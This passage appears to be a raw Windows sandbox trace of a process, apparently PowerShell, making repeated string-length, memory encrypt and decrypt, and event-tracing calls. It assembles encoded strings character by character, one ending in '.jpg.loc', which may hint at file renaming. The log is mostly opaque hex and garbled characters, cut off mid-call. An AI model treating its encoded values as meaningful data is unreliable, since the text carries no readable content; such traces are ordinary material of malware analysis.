(param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x713d\x880f\xfab9\x96dd\xce8e\x5c0\x700c\xf456") returned 0x28 [0130.386] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x713d\x880f\xfab9\x96dd\xce8e\x5c0\x700c\xf456") returned 0x28 [0130.386] SystemFunction041 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.386] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlYmME/UjPVrzRh") returned 0x28 [0130.386] SystemFunction040 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.387] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x2b9a\xa03d\xc964\xa0fd\xd264\xcf1b\x78fc\x6a9b") returned 0x28 [0130.387] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x2b9a\xa03d\xc964\xa0fd\xd264\xcf1b\x78fc\x6a9b") returned 0x28 [0130.387] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x2b9a\xa03d\xc964\xa0fd\xd264\xcf1b\x78fc\x6a9b") returned 0x28 [0130.387] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x2b9a\xa03d\xc964\xa0fd\xd264\xcf1b\x78fc\x6a9b\x2e\x6a\x70\x67\x2e\x6c\x6f\x63") returned 0x30 [0130.387] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0130.387] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlYmME/UjPVrzRhCჩꈸ枋옗ꜿ剜") returned 0x30 [0130.387] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0130.387] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x2b9a\xa03d\xc964\xa0fd\xd264\xcf1b\x78fc\x6a9b\x9b2b\xb7dd\xffd2\x328e\xf64d\x270c\xc234\x79dd") returned 0x30 [0130.387] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x2b9a\xa03d\xc964\xa0fd\xd264\xcf1b\x78fc\x6a9b\x9b2b\xb7dd\xffd2\x328e\xf64d\x270c\xc234\x79dd") returned 0x30 [0130.387] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0130.387] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlYmME/UjPVrzRhCEꈸ枋옗ꜿ剜") returned 0x30 [0130.387] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0130.387] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x2b9a\xa03d\xc964\xa0fd\xd264\xcf1b\x78fc\x6a9b\xb266\xd713\xf965\xec54\x4be5\x7e0b\xad1d\x61aa") returned 0x30 [0130.387] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x2b9a\xa03d\xc964\xa0fd\xd264\xcf1b\x78fc\x6a9b\xb266\xd713\xf965\xec54\x4be5\x7e0b\xad1d\x61aa") returned 0x30 [0130.387] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0130.388] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlYmME/UjPVrzRhCEQ枋옗ꜿ剜") returned 0x30 [0130.388] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0130.388] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x2b9a\xa03d\xc964\xa0fd\xd264\xcf1b\x78fc\x6a9b\x77e\x1395\x87ad\xe6b0\xedef\x39a3\x369c\xbe5c") returned 0x30 [0130.388] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x2b9a\xa03d\xc964\xa0fd\xd264\xcf1b\x78fc\x6a9b\x77e\x1395\x87ad\xe6b0\xedef\x39a3\x369c\xbe5c") returned 0x30 [0130.388] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0130.388] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlYmME/UjPVrzRhCEQ=옗ꜿ剜") returned 0x30 [0130.388] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0130.388] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.388] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.388] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.388] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5fc, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0130.388] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.388] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae934*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae934*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.389] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.389] SysStringLen (param_1="") returned 0x8 [0130.389] SysStringLen (param_1="Y") returned 0x8 [0130.389] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.389] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0130.389] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0130.389] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.389] SysStringLen (param_1="YW") returned 0x8 [0130.389] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.389] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0130.389] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0130.390] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.390] SysStringLen (param_1="YWM") returned 0x8 [0130.390] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.390] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0130.390] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0130.390] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.390] SysStringLen (param_1="YWM1") returned 0x8 [0130.390] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.390] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0130.390] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0130.390] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.390] SysStringLen (param_1="YWM1O") returned 0x8 [0130.390] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.390] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0130.390] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0130.390] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.391] SysStringLen (param_1="YWM1OT") returned 0x8 [0130.391] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.391] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0130.391] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0130.391] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.391] SysStringLen (param_1="YWM1OTE") returned 0x8 [0130.391] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.391] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0130.391] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0130.391] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.391] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0130.391] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.391] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0130.391] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0130.391] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0130.391] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0130.391] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.392] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0130.392] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.392] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0130.392] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0130.392] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.392] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0130.392] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.392] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0130.392] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0130.392] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.392] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0130.392] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.392] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0130.392] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0130.392] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.393] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0130.393] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.393] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0130.393] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0130.393] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.393] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0130.393] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.393] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0130.393] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0130.393] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.393] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0130.393] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.393] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0130.393] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0130.393] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.393] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0130.394] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.394] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0130.394] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0130.394] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.394] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0130.394] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.394] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0130.394] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0130.394] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0130.394] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0130.394] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.394] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0130.394] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.394] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0130.394] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0130.394] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.395] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0130.395] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.395] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0130.395] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0130.395] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.395] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0130.395] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.395] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0130.395] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0130.395] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.395] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0130.395] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.395] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0130.395] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0130.395] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.395] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0130.396] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.396] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0130.396] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0130.396] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.397] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0130.397] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.397] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0130.397] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0130.397] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.397] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0130.397] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.397] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0130.397] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0130.397] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.397] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0130.397] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.397] SysStringLen 